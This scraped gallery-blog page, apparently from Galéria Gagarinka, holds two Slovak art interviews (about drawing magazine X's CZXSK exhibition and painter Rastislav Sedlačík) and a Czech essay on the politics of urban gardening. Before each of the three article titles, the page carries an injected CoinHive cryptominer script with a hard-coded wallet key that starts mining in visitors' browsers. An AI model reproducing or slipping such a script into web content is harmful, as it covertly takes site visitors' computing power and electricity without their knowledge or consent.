Časopis X robí výstavu!" data-share-media="http://galeria.gagarinka.sk/wp-content/uploads/2015/09/web.jpg" data-share-excerpt="Rozhovor Juliany Mrvovej s kurátormi Milanom Vagačom a Slavomírou Ondrušovou o výstave CZXSK." class="litte-share-box">
var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); web

Časopis X robí výstavu!

Kedy a prečo ste sa rozhodli založiť časopis X? Myslíte si, že kresba má v súčasnom umeleckom kontexte tak dôležité postavenie?

Nápad založiť časopis o kresbe vznikol v roku 2012. Obaja sme vtedy ukončili magisterské štúdium a mali sme potrebu na niečom novom pracovať. Slavomíra robila diplomovú prácu o kresbe a na túto tému sme sa viackrát bavili. V spoločnej diskusii vznikol nápad založiť formát, kde sa bude môcť odprezentovať slovenská kresba, jej autori. Pôvodne mal mať projekt formu zinu, čisto vo vizuálnej podobe. Postupne sme sa však prepracovali ku komplexnejšej podobe, ktorú má časopis teraz. Samotný vývoj časopisu, po jeho prvé vydanie trval skoro jeden rok, bolo to neustále zvažovanie každého detailu po obsahovej aj po formálnej stránke.

Časopis vznikol z časti aj ako reakcia na množstvo súčasných autorov, ktorí kresbu využívajú vo svojej tvorbe a na aktuálny teoretický záujem o toto médium. Iste je to do určitej miery aj vec momentálnych trendov, ale v konečnom dôsledku má kresba dôležité postavenie v rámci súčasného umenia. Stačí si spraviť prehľad o slovenskej scéne. S kresbou často pracujú výtvarníci rôzneho zamerania. Či už sú to maliari, sochári, grafici, autori pracujúci s videom či multimédiami. Zdanlivo obmedzený priestor iba na jedno konkrétne médium, poskytuje široké spektrum stratégií a prístupov.

foto_web

Foto: redakcia X.

Momentálne ste vydali 4 čísla, čo plánujete ešte tento rok?

Tento rok pripravujeme ďalšie číslo, ktoré je venované téme pohyb v kresbe, alebo pohyblivým čiaram a malo by vyjsť koncom októbra. Podarilo sa nám do neho získať práce významných zahraničných autorov, ako William Kentridge (JAR), Tim Knowles (UK), či Milan Grygar (CZ) a iných. Tim Knowles dokonca pripravil pre časopis úplne nové dielo. Pohyb bude zastúpený na jednej strane v podobe kreslenej animácie, ktorá však nespadá úplne do kategórie filmovej animovanej tvorby, ale ide skôr o projekty výtvarného charakteru. Na druhej strane sú to kresby ako záznam pohybu, ktorý sa už odohral. Aj tentokrát budú súčasťou časopisu originálne kresby, ale viac nebudeme prezrádzať. Zároveň pripravujeme nový layout, na ktorom pracuje grafický dizajnér Boris Meluš.

Okrem toho chystáme časopis prezentovať na art book a zin fairoch Hip-Hip Fair v Sofii a na Litr v Olomouci a v závere roka plánujeme ďalšiu výstavu v kultúrnom priestore Industra v Brne, v spolupráci s rakúskym kolektívom umelcov FRANZ THE LONELY AUSTRIONAUT, ktorí vydávajú zin o naratívnej kresbe.

Časopis X prezentujete na viacerých medzinárodných podujatiach, je v súčastnosti písanie a prezentovanie súčasnej kresby trendom na knižných fairoch alebo je X ojedinelým zjavom? Aké najzaujímavejšie časopisy ste na fairoch objavili pre seba?

Čo sa teoretickej reflexie a geografického záberu týka, je Časopis X v rámci knižných fair-ov viac-menej ojedinelým projektom. Niekoľko ich je vo Francúzsku, kde sa aj vďaka festivalu Drawing Now kresbe venuje stále viac autorov a publikácií, veľmi zaujímavý je Roven, ktorý je však vydávaný iba vo francúzskom jazyku. Tiež je významný nemecký FUKT, ktorý funguje od 1999. Aj napriek tomu že podobných publikácií je viacero, ešte sme sa nestretli s tak rozsiahlym teoretickým záberom aké má X, ktorý navyše vychádza aj v anglickej mutácii.

Stretávame sa najmä s pestrou paletou rôznych zinových foriem publikácií, sú to rozmanité nízkonákladové D.I.Y. projekty, ktoré často vychádzajú iba v zopár exemplároch, ale o to sú cennejšie. Na kresbu je napríklad orientovaný maďarský zin Klorofill, pod taktovkou editorky Júlie Vécsei fungujúci viac ako sedem rokov. Odlišným projektom je spomínaný FRANZ THE LONELY AUSTRIONAUT, ktorý má podobu komplexnejšieho magazínu, aj keď je výlučne vizuálny a je mimochodom výborný.

_JK02142

Pohľad do inštalácie s dielami Svetlany Fialovej, monogramistu T.D., Borisa Sirku a Jana Pfeiffera.

Výstava CZXSK je prvou výstavou časopisu X, prečo ste sa rozhodli urobiť výstavu? Je to dosť iný druh práce ako na časopise.

Počas dvoch rokov činnosti sme spoznali veľa nových autorov, celkovo sme spolupracovali s vyše tridsiatimi výtvarníkmi zo Slovenska a zo zahraničia. Výstava je popri časopise ďalší spôsob, akým o súčasnej kresbe „hovoriť“ a reflektovať ju. Snažíme sa rozširovať spektrum našej činnosti, nejde len o vydávanie časopisu. Výstava je tak ďalším formátom prezentácie súčasnej kresby, ktorého cieľom je bližšie predstaviť kvalitných súčasných autorov a rozšíriť divácku/čitateľskú základňu.

Je to určite odlišný druh práce, ktorý nám však v zásade nie je až tak cudzí, keďže sme obaja umelci. Neprebádaným územím pre nás bola skôr publikačná činnosť. Pracovať popri printoch aj s reálnymi dielami je osviežujúce.

_JK02141

Robert Szabó a jeho “živý” vizuál na plagát, ktorý je zároveň vystavený v Gagarinke.

Na spoluprácu ste si prizvali Andreu Ďurianovú, šperkárku, ktorá sa v súčastnosti venuje realizácii výstav po ich architektonickej a technickej stránke. Prečo? Je to prvá takáto spolupráca?
Andrejka: čo ťa na tvorbe architektúry výstav zaujíma, ako to súvisí s tým, čomu si sa venovala doteraz?

Andreu sme si prizvali na základe jej doterajších realizácií a projektov, bolo nám sympatické ako pracuje s priestorom a ako rozmýšľa o vystavovaní kresby a o vystavovaní vôbec. Podobne ako my, zamerala sa najmä na špecifickosti jednotlivých kresieb a objektov na výstave. Od začiatku poňala celý priestor galérie Gagarinka komplexne a postupne vyvíjala princíp, akým práce uchytiť či zavesiť. Spoločne sme potom dolaďovali umiestnenie a riešili inštaláciu tak, aby v konečnom dôsledku dávala divácky zmysel a tvorila jednotný celok. Okrem Andrei sme k spolupráci prizvali aj Róberta Szaba, ktorý vytvoril k výstave „živý“ farebný vizuál.
Toto bola naša prvá spolupráca s Andreou a Robom, no určite nie posledná, plánujeme spolu do budúcna ďalšie projekty.

Andrea: Na vytváraní výstavy ma zaujíma hlavne práca s priestorom a objektmi, komplexné riešenie výstavy, ako aj riešenie problémov, ktoré to prináša. Veľa nad tým premýšľam – niekedy až príliš – akým spôsobom ukázať jednotlivé diela, aby vyzerali čo najlepšie samostatne, ale aj ako celok. Je to oblasť, ktorú vlastne len objavujem a cítim sa trochu maličká, ale o to viac ma to celé zaujíma. So šperkom, ktorému sa čiastočne stále venujem, to určite súvisí. Zaujímajú ma rôzne materiály a možnosti ich spracovania, možno mám aj zmysel pre detail. Ale je to aj dosť odlišná práca od izolovanej tvorby v ateliéri, som nútená viac komunikovať a vnímať zámery iných ľudí (napr. kurátorov), zaoberať sa iným druhom informácii a operovať s nimi.

_JK02070

Jan Pfeiffer v Gagarinke – inštaláciu diel vymyslela Andrea Ďurianová, architektka výstavy.

_JK02114

Inštalácia Lucie Mičíkovej v Gagarinke.

Výber autorov je konfrontáciou rôznych prístupov ku kresbe s presahmi do videa a inštalácie. Kde sú podľa vás hranice kresby, alebo ako by ste ju vy sami obmedzili (definovali)?

Definícia kresby je problematická, či už z pohľadu inštitúcií, ktoré potrebujú diela nejako kategorizovať, alebo čisto z teoretického hľadiska. To, čo v súčasnosti nazývame kresbou, má naozaj rôznorodé podoby a máme pocit, že kresba má spomedzi ostatných médií najmenej definované hranice. Úlohou samotného Časopisu X je aj mapovanie hraníc kresby, rôznych autorských prístupov, a tým skúmanie jej limitov.

Žiadnu konkrétnu definíciu kresby však nemáme. Kresbu niekedy určuje použitý materiál napríklad grafit na papieri, tam je to jasné. Ak však niekto použije nejakú mokrú techniku, rozdiel medzi kresbou a maľbou nie je veľký. Záleží na spôsobe narábania. Napríklad kresba na rozdiel od maľby neprekrýva, jednotlivé vrstvy sa prelínajú. Zložitejšie je to ale pri presahoch do iných médií, ako priestorová inštalácia, video a iné. Tu to určujú skôr princípy vlastné kresbe, pretransformované do iných médií. A v neposlednom rade je to autor, ktorý definuje svoje dielo ako kresbu. Vladimír Kokolia to pomenoval jednoznačne: „Nezajímá mě definice kresby. Zajímá mě jen, co definuje kresba. Kresba málem není nic jiného než definování. Neboli nalézání hranic.“

Česko-slovenskosť výstavy zas konfrontuje dve scény, ktoré reflektujete v časopise najviac, aj keď ste sa venovali aj Rakúsku, Maďarsku, Poľsku…Máte ambície prezentovať aj autorov zo širšej oblasti? Máte už takéto kontakty?

Jednotlivé čísla časopisu X sú venované vždy konkrétnej téme alebo oblasti, ktorá sa nám zdá byť aktuálne „potrebná“, alebo dôležitá. Samozrejme, aj napriek tomu, že sa zameriavame najmä na Čechy a Slovensko, táto lokalita nie je osamoteným ostrovom a náležité nadväznosti vytvára aj so širšou výtvarnou scénou. To isté sledujeme aj v X. Autorov vyberáme podľa toho, kto do témy a koncepcie konkrétneho čísla zapadá, neprihliadame nejako významne na to, z akej krajiny pochádza. Aj keď background je v tvorbe takmer vždy cítiť a s týmto ako s témou sa dá tiež pracovať. Spolupracujeme napríklad s autormi a teoretikmi z Estónska, Veľkej Británie, Nemecka, Južnej Afriky..

Kontakty vznikajú rôzne. Najmä cestovaním a spoznávaním, networkingom, prezentáciami na art fairoch, rozhovormi s autormi. Vytvárame si postupne archív zaujímavých autorov, ktorých by sme časom chceli osloviť.

Späť k výstave – čo bolo pre vás kritériom výberu diel, alebo ako ste sa k tvorbe výstavy postavili z hľadiska autorov. Vidíme tu denníkové japonské kresby Borisa Sirku, sociálno-politickú analýzu Daniely Krajčovej, hravé kresby so zavretými očami Jána Pfeiffera – je to skôr rôznorodosť v kresbe, ktorá vás zaujímala, alebo má výstava nejaké nosné témy?

Od začiatku sme zvažovali niekoľko variant, ktoré sme neskôr odložili na neskôr ☺ a nakoniec nám prezentácia českých a slovenských autorov prišla najvhodnejšia. Chceli sme vystaviť autorov, ktorých sme uverejnili v časopise, v jeho doteraz piatich číslach a aj z pripravovaného šiesteho. Mali sme chuť konfrontovať priestor v časopise, ktorý je veľkorysý, no stále limitovaný formátom A4, s konkrétnym fyzickým priestorom galérie a prác v ňom. Už dávnejšie sme uvažovali nad takýmto prepojením, kde by sa dali práce zo všetkých čísiel pozrieť vedľa seba „live“.

Výber autorov, ich počet, sme definovali postupne aj vzhľadom na priestor a zameranie, rôznorodosť prác. Zaujímalo nás, ako budú vedľa seba fungovať veľkoformátové kresby Svetlany Fialovej s bujnými čierno-bielymi výjavmi a takmer „neviditeľná“ animácia na papieri od Mariána Vredíka, ako vravíš, sociálno-politický rozmer v kresbách Daniely Krajčovej a voľná interpretácia priestoru pomocou papiera od Lucie Mičíkovej. Rastislav Podhorský predstavuje na výstave „klasickú“ figurálnu kresbu, ktorá v kombinácii s jeho maľbou vytvára priestor k stíšeniu a zamysleniu sa. Práce Monogramistu T. D. zasa predstavujú autorský archív pracovných kresieb, ktoré slúžia ako zásobáreň ideí a sú vystavené vôbec po prvý krát.

_JK02127

Monogramista T.D. na výstave CZXSK.

_JK02110

Daniela Krajčová na výstave CZXSK.

Z vizuálnej stránky ste experimentovali so spôsobmi zavesenia diel. Je pre vás ako umelcov vytváranie výstavy tvorbou akéhosi ďalšieho umeleckého diela?

Dôležitým bol pre nás hlavne fakt, že práce sú síce kresby, no nie všetky sú „grafit na papieri“, a preto k nim bolo treba špecificky pristupovať. Andrea veľmi dobre vycítila, že každej z nich prospeje iný spôsob inštalácie, no zároveň sa z výstavy nemôže stať vizuálny „miš-maš“, kde by kresby utrpeli. V časopise je človek zvyknutý na určitý formát, papier, zalomenie, čítanie a pozeranie. Na výstave je zrazu viacrozmerné nazeranie na veci, prebieha iné vnímanie prác. To sme pri niektorých prácach využili a namiesto na stenu sme ich zavesili do priestoru. Napríklad spomínaný Boris Sirka a jeho denníkové kresby z Japonska visia na bielych elektrických kábloch, podobne ako Svetlana Fialová. Pracovali sme aj s danosťami galérie, ktorá využíva systém posuvných panelov. Z tých sme vytvorili jednu súvislú stenu a na ňu umiestnili kresby v tme od Jana Pfeiffera, 130 A4 formátov, do linajok vytvorených z drážok stavebného materiálu…

Čo budete robiť teraz, keď je Milan v Prahe a Slávka v Bratislave!

Všetko ostáva v starých zabehaných koľajach, veď existuje internet. K tomu to berieme ako vysunuté pracovisko, Milan teraz získava nové kontakty, obieha „teritórium“, podobne ako Slavomíra, ktorá bola rok v Estónsku. Kto ste v Prahe, ozvite sa Milanovi, bude rád za nových kamarátov! ☺)

Pýtala sa: Juliana Mrvová; odpovedali: Redakcia časopisu X (Milan Vagač, Slavomíra Ondrušová) architektka výstavy (Andrea Ďurianová). Fotografie: Adam Šakový

www.magazinex.org

www.casopix.blogspot.sk

_JK02120

Dielo Juraja Gábora z výstavy CZXSK.

20150902_182212

Z vernisáže výstavy CZXSK.


“V neosobnej krabici nájdeš svoju lásku”" data-share-media="http://galeria.gagarinka.sk/wp-content/uploads/2015/07/JK07645.jpg" data-share-excerpt="Rozhovor Juliany Mrvovej s Rastislavom Sedlačíkom" class="litte-share-box">
var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); _JK07645

“V neosobnej krabici nájdeš svoju lásku”

Rastislav Sedlačík je autorom, ktorý sa v Galérii Gagarinka predstavil už na štyroch skupinových výstavách – Vesmír & CO, Autorská Serigrafia, Od obrazu k objektu a teraz na Mo(nu)menty mesta: Bratislava.
     Rasťova tvorba je od začiatku charakterizovaná záujmom o industriálne prostredie, o akési monumenty mesta a z maliara a keramikára sa postupne vyvinul na neúnavného experimentátora s možnosťami závesného obrazu a jeho presahmi. Jeho dlhodobé využívanie elementárnych prvkov a architektonických riešení obrazu sa postupne pretransformovalo do aktuálneho minimalistickejšieho zobrazovania. Z prvotných kontajnerov sa v súčasnosti na obrazoch a mnohých obrazo-objektoch, vytvorených z nájdených materiálov, vyskytujú geometrické formy už len vzdialene pripomínajúce mestskú krajinu.
     Rasťo citlivo kombinuje svoje typické prvky ako slnko-kruh či kontajner-obdĺžnik, do nových konštelácií a vytvára tak čisto obrazové kompozície, kde dominujú vzťahy medzi týmito prvkami. Takou bola aj inštalácia na výstave Od obrazu k objektu s názvom Landscaping SK, 2015, zložená z viacerých nájdených objektov, postkoláží či grafík inštalovaných do priestorových vzťahov. Na aktuálnej výstave predstavuje niekoľko asamblážových diel, kolážovú kresbu a obraz – Lapač, procesuálne dielo vychádzajúcu z post-minimalistických tendencií.

_JK07551

JM: Aktuálna výstava v Gagarinke hovorí o meste a konkrétne o Bratislave. Rasťo, ty vo svojej tvorbe s touto témou dlhodobo pracuješ. Aký máš k nemu vzťah, k mestu Bratislava?

RS: Pozitívny. Premiešal sa zo životom, až sa dostal do tvorby. Žijem tu s rodinou, pracujem tu, učím a tvorím tu. Bratislava spĺňa všetky podmienky vhodné pre život :-).Som divák a pozorovateľ každodennej mestskej reality Bratislavy a filtrujem, zvýznamňujem banálne, monumentalizujem bezvýznamné, manipulujem ju vlastnou maliarskou stratégiou.

Základnou ambíciou mojej tvorby je narábanie s priestorom mesta, mestskej krajiny, či periférie v obraze. Mojím východiskom pre spracovanie danej témy je konfrontácia maľby s problematikou premien civilného, urbánneho, krajinného prostredia, ktoré prechádza neustálym vývojom a ktoré mení vizualitu a podobu súčasnosti…

V mojej tvorbe sa dosť často objavuje priestor, v ktorom sa pohybujem. V prvých sériách malých obrazov Petržaliek išlo o pretlač či transpozíciu odtlačku zvonka. Pracoval som najmä so stopou, používal som pretláčanie xeroxu… Nechcel som maľovať žánrové scenérie, ale chcel som skôr generovať obraz pomocou odtlačku, ktorý nie je procedurálne čistý. Týmto spôsobom vnášam do procesu aj istý nepredvítateľný moment a vyzývam k vzájomnej interakcii počas tvorby medzi mnou a obrazom. V tejto sérii mi išlo najmä o urbánnu štruktúru a to, ako sa mení.

dielo_sedlacik_02Rastislav Sedlačík: SUN (BA), foto: archív autora.

Keď niekto maľuje Petržalku, ako ty, napadne ma otázka: je to kritický postoj? Ako je to teda u Teba?

Keď si vezmeš prvok reality, tak ťa zaujíma aj to, prečo ho vlastne používaš. Tie prvé malé formáty obsahovali niečo, čo tam akoby nie je, čo si bežne nevšimneš alebo čo opačne nejakým spôsobom vstupuje zvonka do obrazu. Používal som prvok, ktorý sa v realite nenachádzal. S obrazom totiž vždy manipulujem. Tie moje závory a bariéry, ktoré maľujem, búrky, slnká, mesiace, sú inou prírodou, je to odtlačok a nepovšimnutá príroda je skompilovaná s realitou.

Myslím, že to nie je postavené na kritike, ale skôr na budovaní obrazu, ktorý si nesieš so sebou. Používaš svoje vlastné filtre, vlastné konštrukty, obraz sa nemusí stretávať s realitou. Do istej miery sa dá hovoriť o mentálnych obrazoch, reminescenčných výjavoch, ktoré v konečnom dôsledku môžu vzbudiť kritický postoj.

Poďme do konkrétnejšej roviny: tvoje prvé veci boli o Petržalke, kde ste vtedy žili, kde Lucia bývala a chvíľu si teda žil s ňou v paneláku. Do svojich výjavov sídliska si vtedy vkladal rôzne predmety ako lampy, slnko, vnímam ich ako nejaký teplý prvok, pozitívny – svetlo. Čo bol dôvod vkladania niečoho takého „skrášlujúceho“ do prostredia sídliska?

Primárne bol dôvod to, že sama realita nestačí. Pre umenie je to málo. Jednoducho pracujem s takýmito elementami s motívom svetla, oblohou, živlami, dostávajú sa do obrazu, integrujú sa doňho a dopovedávajú ho po významovej stránke. Stávajú sa symbolom, ktorý je pre danú maľbu nosným.

Ľudia si podľa mňa všimli, že napríklad na obrázku je konkrétny panelák, v ktorom sme žili. Napríklad v obraze Luciin panelák… V neosobnej krabici vlastne nájdeš svoju lásku, niekoho, s kým zostaneš a ono ti to hneď ani nedôjde…

Dnes už z tejto témy robím skôr asambláže. Do maľby vkladám predmety a reálne veci.

_JK08405Dielo Luciin panelák vpravo, aktuálne na výstave v Gagarinke.

_JK07627Asamblážový obraz z aktuálnej série.

Už na výstave abstrakcie si mal v Gagarinke asamblážové obrazy z nájdených predmetov. Tie ešte mali vzťah k industriálnemu či mestskému prostrediu. Teraz vystavuješ obrazy, ktoré vychádzajú z mesta, ale sú už vo veľmi minimalizovanej podobe. Uvažuješ nad tým, kedy a prečo si odišiel od toho kedysi „šťavnatého“ maľovania, ktoré si používal, až ku konceptuálnemu rozmýšľaniu o maľbe a k minimalistickým experimentálnym veciam?

Beriem to ako prirodzený vývoj s tým, že sa mi tieto dve polohy začali miešať. Mestská krajina a kombinované techniky boli oddelené, teraz sa viac prepájajú. V súčasnosti ich v tvorbe striedam. Nerozlišujem presne, keď riešim tému factory land, hovorím o vizuále Slovenska a jeho krajiny, ale mesto má obdobný „problém“, aj keď v krajine je to možno dramatickejšie viditeľné… Preto som obraz prirodzene začal redukovať, mení sa jeho charakter a isté veci sa nedopovedávajú. Nie je dôležitá maliarska stopa, ale dostáva sa tu do plochy reálny predmet, vzniká takáto vec ako sídliskový totem. Je to banálny prvok – stĺp – ktorý je totemom mesta. V tom vizuálnom smogu sa totemy strácajú, a toto je nosný betónový stĺp, ktorý zviditeľním. Je to vlastne o komponovaní. Nemá podľa mňa niekedy zmysel maľovať, je to lepšie vzájomne kompilovať.

Vieš si predstaviť, kam to bude smerovať? Postupne ideš tak ďaleko, že tu máme už len plochu s farbou a nachytaným páperím z topoľa. Kam až to môže zájsť?

 Posledné veci pracujú s tým, že maľba má zachytávať niečo, je to maľba – lapač. Obraz bol vyhodený do zelene – je to mestská zeleň, je to aj alergén a podobne (smiech). Konotácie sú jasné, človek si to však môže vyložiť rôzne.

Nezobrazuješ, ale lapáš priamo realitu.

Maľba Lapač je už blízko performatívnemu prejavu…nejde primárne o maľbu v zmysle tvorby obrazu pomocou maliarských postupov. V tomto prípade funguje maľba ako nosič, plocha schopná zachytávať v istom štádiu čokoľvek, čo sa dostane do kontaktu s ňou samotnou. Je plenérom, performanciou i konečným objektom.

Určite sa aj ďalej budem venovať výskumu krajiny, chcel by som si overiť plenér technologicky sofistikovanejším spôsobom.

lapac2 lapac

Obraz Lapač v zeleni ateliérov na Zlatých Pieskoch. Foto: archív autora.

_JK08410Obraz Lapač, 2015, vľavo, na výstave Mo(nu)menty mesta: Bratislava v Gagarinke.

Máš dve krásne dcéry, žiješ s troma ženami, ovplyvnilo ťa toto všetko v tom, čo robíš? Myslíš si, že to, že človek má deti, sa prejavuje v tvorbe?

Ovplyvňuje ma to dennodenne :-), pozitívne po všetkých stránkach. Človek je dôslednejší, musí si presnejšie zorganizovať čas, aby všetko fungovalo v rovnováhe a neboli podstatné veci navzájom krátené. Umenie ich baví všetky tri.

Lea a Nina už napríklad vedia, ktorý obraz je môj, nájdu ho na výstave… To je celkom dobré. Netlačím ich do toho, ale do ateliéru si občas prídu zamaľovať, chodíme na workshopy, otvárame výstavy spolu atď.

Toto isté sa pýtali Lyncha, že vyrastal v bezchybnom prostredí a prečo potom točil tie svoje filmy…možno práve preto. Potom človek rieši v tvorbe aj menej príťažlivé veci.

11719887_10207675356188781_1206219708_n

11713498_10207675355868773_1921033622_nRasťova dcéra Lea v Galérii Gagarinka pomáha inštalovať výstavu.

_JK08379Aktuálnu výstavu Mo(nu)menty mesta: Bratislava si v Gagarinke môžete pozrieť do 9. augusta.

Pýtala sa: Juliana Mrvová, odpovedal: Rastislav Sedlačík. Fotografie v texte ak nie je uvedené inak: Adam Šakový.

Ďaľšie fotografie z rozhovoru v Rasťovom ateliéri v bývalých Tranzit ateliéroch na Zlatých Pieskoch si môžete pozrieť tu, fotil Adam Šakový.


Politické aspekty městského zahradničení z bramborové perspektivy" data-share-media="http://galeria.gagarinka.sk/wp-content/uploads/2015/05/7_zdroj_www.ryerson.ca_.jpg" data-share-excerpt="od Petry Čížkovej" class="litte-share-box">
var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); 7_zdroj_www.ryerson.ca

Politické aspekty městského zahradničení z bramborové perspektivy

Fotografia: www.prinzessinnengarten.net

Jedním z nejdůležitějších aspektů městského zahradničení je právě jeho politická stránka, což se dnes stává stále více zřejmé. Důkazem toho je například i letošní kontroverzní EXPO 2015 v Miláně, které je zaměřeno na klíčové otázky udržitelného rozvoje a jehož moto zní: Feeding the planet, energy for life (Potraviny pro planetu, energie pro život). Protesty, které tato výstava vzbudila, poukazují však i na další stránky výstavy, spojené s propagací gigantických koncernů jako je CocaCola, Nestlé, nebo McDonald´s, nesoucí nemalou zásluhu na dnešním způsobu produkce a distribuce potravin.

Malý příklad produkce tohoto druhu nám vykládá americký spisovatel, Michael Pollan, ve své knize Botany of Desire (Botanika touhy). Popisuje v ní setkání s pěstitelem brambor někde v Idahu. Tento farmář pěstuje na typických kulatých, uměle zavlažovaných polích (které jsou vidět i přes Google Earth) odrůdu Russet Burbank, ze které fastfoody vyrábějí svoje hranolky.

Způsob, jak s půdou zachází takzvané konvenční zemědělství, je následovný: „Na mou prosbu“ píše Pollan, „se mnou pan Forsyth prošel seznamem chemikálií, které používá po celou sezonu. Tento seznam byl sestaven podle nejnovějších poznatků o totální kontrole půdy vhodné pro pěstování brambor. Předehra začíná na jaře použitím prostředku na vypalování půdy, proti hlísticím a určitým druhům onemocnění půdy používají farmáři před sadbou brambor chemický prostředek, který celoplošně zabíjí všechny mikroby žijící v půdě. Následuje „vyplevelení“ polí herbicidy značky Sencor, nebo Eptam. V období růstu brambor používá Thimet nebo nějaký jiný druh systémového insekticidu. Tuto látku absorbují zárodky a zabíjejí po dobu několika týdnů každý hmyz, který začne okusovat listy. Až brambory vyrostou do velikosti kolem patnácti centimetrů, postříkají se dalším herbicidem na odplevelení.“

Koloběh pokračuje po celou sezonu, pesticidy a hnojiva se přidávají každý týden do vody na zavlažování, která se bere z blízké řeky a do které se opět odvádějí splašky. „Od července se provádí každý druhý týden letecký postřik proti mšicím,“ píše Pollan, „mšice sice nejsou škodlivé, ale přenášejí virus, který u odrůdy Russet Burbank způsobí svinování listů a následně vede ke skvrnitosti brambor, jakmile se u brambor objeví typické hnědé skvrny, je jako dodavatel okamžitě vyřazen a továrna od něho už nevezme jedinou bramboru.“

1_zdroj_ www.demotix.comtext: Mc Donald´s, nechceme ťa udržateľný, chceme ťa zavretý!”

Zdroj fotografie:www.demotix.com

Zcela logicky následuje řada otázek, jednak o humánnosti tohoto druhu zemědělství, jednak o výživové hodnotě vypěstovaných brambor a v neposlední řadě, o dnes tolik proklamované trvalé udržitelnosti – samozřejmě s přihlédnutím k faktu, že při výše zmíněném způsobu zemědělství je nutné chemické dávky pro úpravu půdy a plodin každým rokem stále zvyšovat.

Odpověď na otázku, proč vzbudilo EXPO hned v prvních dnech vlnu 30 000 protestujících občanů a zároveň bylo prodáno již 10 000 000 vstupenek, je v podstatě totožná – hledání trvalé potravinové i energetické udržitelnosti je palčivě v kurzu. Slovy známého francouzského krajinného architekta a aktivisty Gilla Clémenta: „My si už prostě nemůžeme dovolit pouze přihlížet a je jedno, zda se jedná o nedotčenou panenskou krajinu, nebo o krajinu kultivovanou. Tam, kde stojíme, tam, kam jdeme, při všem, co děláme, patříme do jednoho ekologického systému, který se vychýlil z rovnováhy. A kvůli této realitě musíme hrát novou roli při využívání přírody a při úpravě zahrady, která představuje naši planetu.“

A co s tím má společného zahradničení ve městě? V podstatě všechno. Každý zahradník je zároveň spotřebitelem, občanem, daňovým poplatníkem i voličem. My sami rozhodujeme, kde a co si koupíme. Z peněz daňových poplatníků jsou dotovány jak průmyslové velkochovy, tak export evropských zemědělských produktů do Afriky, kde naše levná zelenina přivádí místní zemědělce na mizinu. Všechno, co děláme, se projeví zase někde jinde. Pod heslem „Myslet globálně, jednat lokálně“ se ukrývá velká síla a zároveň smysl veškerého našeho ekologického snažení – mnohé malé, samy o sobě bezvýznamné změny mohou ohrozit celý systém a posunout vývoj jiným směrem.

Většina městských zahradnických iniciativ tyto souvislosti velmi dobře chápe, a proto vnímají svoji činnost víceméně jako politickou. Jde o předávání vědomostí a prohlubování povědomí o tom, jakou roli v dnešní době zahradničení hraje, slovy Roberta Shawa z Princezniny zahrady (Prinzessin Garten) v Německu: „Tady nepěstujeme pouze rostliny, ale také sociální kompetence.“

2_zdroj_www.prinzessinnengarten.net
Zdroj fotografie: www.prinzessinnengarten.net

Vraťme se tedy k bramborám a jejich politickému statusu jedné z nejvýznamněji pěstovaných plodin na světě. „Brambora se stává čím dál tím více synonymem pro moc a kontrolu,“ říká švédská umělkyně, Asa Sonjasdotterová, „protože ten, kdo může kontrolovat hlad, má také politickou moc. A až jednou tento vyšroubovaný hospodářský systém krachne, potom si mohou lidé pomoci sami. Brambora bude v této hře hrát roli žolíka.“

Dnešní velmi specifickou roli pěstování plodin v jejich politickém kontextu si švédská umělkyně uvědomila při návštěvě Indie a tamějších farmářů z lokality Navdanya, na úpatí Himaláje. Tito zemědělci sezónu od sezóny shromažďovali, rozvíjeli a sdíleli místně pěstované odrůdy rýže, pšenice a fazole – což je tradiční způsob, jak udržet a rozvíjet udržitelné zemědělství kdekoli na světě. Od 40. let byli indičtí farmáři pod tlakem vlády, aby vstoupili do sítě komerční produkce vládního korporátního programu „Green Revolution,“ navdanyjští farmáři se však rozhodli postavit se na odpor a trvali na nekomerčním a nechemickém přístupu, udržitelném i pro budoucnost jejich vesnic.

Asu Sonjasdotterovou tento počin hluboce zasáhl a rozhodla se nabité zkušenosti přenést do místního kontextu. Začala tedy v roce 2005 pěstovat místní odrůdy brambor na místě, odkud pochází – na dánsko-švédském ostrově Ven, na farmě svých rodičů. „Žádná z odrůd, kterou jsem zasadila, nebyla registrovaná na seznamu odrůd EU, což znamená, že jejich kultivace pro komerční využití byla vlastně nezákonná. Ale o tom jsem tehdy ještě nic nevěděla.“ vzpomíná Asa.

A to byl i začátek jejího projektu „Potato perspective,“ ve kterém pozoruje svět jakoby z pohledu brambor. Od té doby pěstuje brambory na nejrůznějších místech planety a zaobírá se vzájemným působením hlízy a společnosti. Zjistila, že brambor je nejen rostlina, která se dobře zakotvila v různorodých kulturách, ale je to také rostlina, která je hluboce zapletena v globálních obchodních dohodách a zákonech ovládajících geny a registraci na seznamy povolených plodin. Potomci divoké rostliny z andských hor, vypěstované na domácí farmě ve Švédsku se tedy velmi rychle staly potencionálně ilegálním zbožím. Důvodem, proč tyto staromódní odrůdy dnes čelí mnoha omezením uloženými předpisy registračních dokumentů EU, je prostý fakt, že nezapadají do norem EU, nebo proto, že nikdo nemá zájem snažit se je registrovat – například pro jejich menší výnosy, nebo kvůli jejich specifickým nárokům na pěstování.

„Z tohoto pohledu brambor jsem našla poněkud odlišné, ale zároveň jasné spojitosti se situací ve Skandinávii, potažmo Evropě a s iniciativou farmářů z oblasti Navdanya v Indii. A to se stalo i východiskem pro dlouhotrvající výzkum zabývající se složitými otázkami v oblasti poznání a moci prostřednictvím pěstování rostlin brambory.“ říká Asa Sonjasdotterová.

3_zdroj_www.potatoperspective.org

Zdroj fotografie: www.potatoperspective.org

V Princeznině zahradě v Berlíně vznikl na základě jejího podnětu projekt věnovaný pěstování brambor. V současné době zde můžeme v pěstitelských pytlích najít čtrnáct druhů starých odrůd brambor, vždy s pečlivě zadokumentovaným názvem i vlastním příběhem. Biolog Bennar Markus zde experimentuje s cíleným opylováním květů a pokouší se dokázat, jaké vlastnosti mohou přebírat brambory ve speciálním prostředí Kreuzbergeru a zda by bylo možné, aby tam jednou vznikla vlastní odrůda.

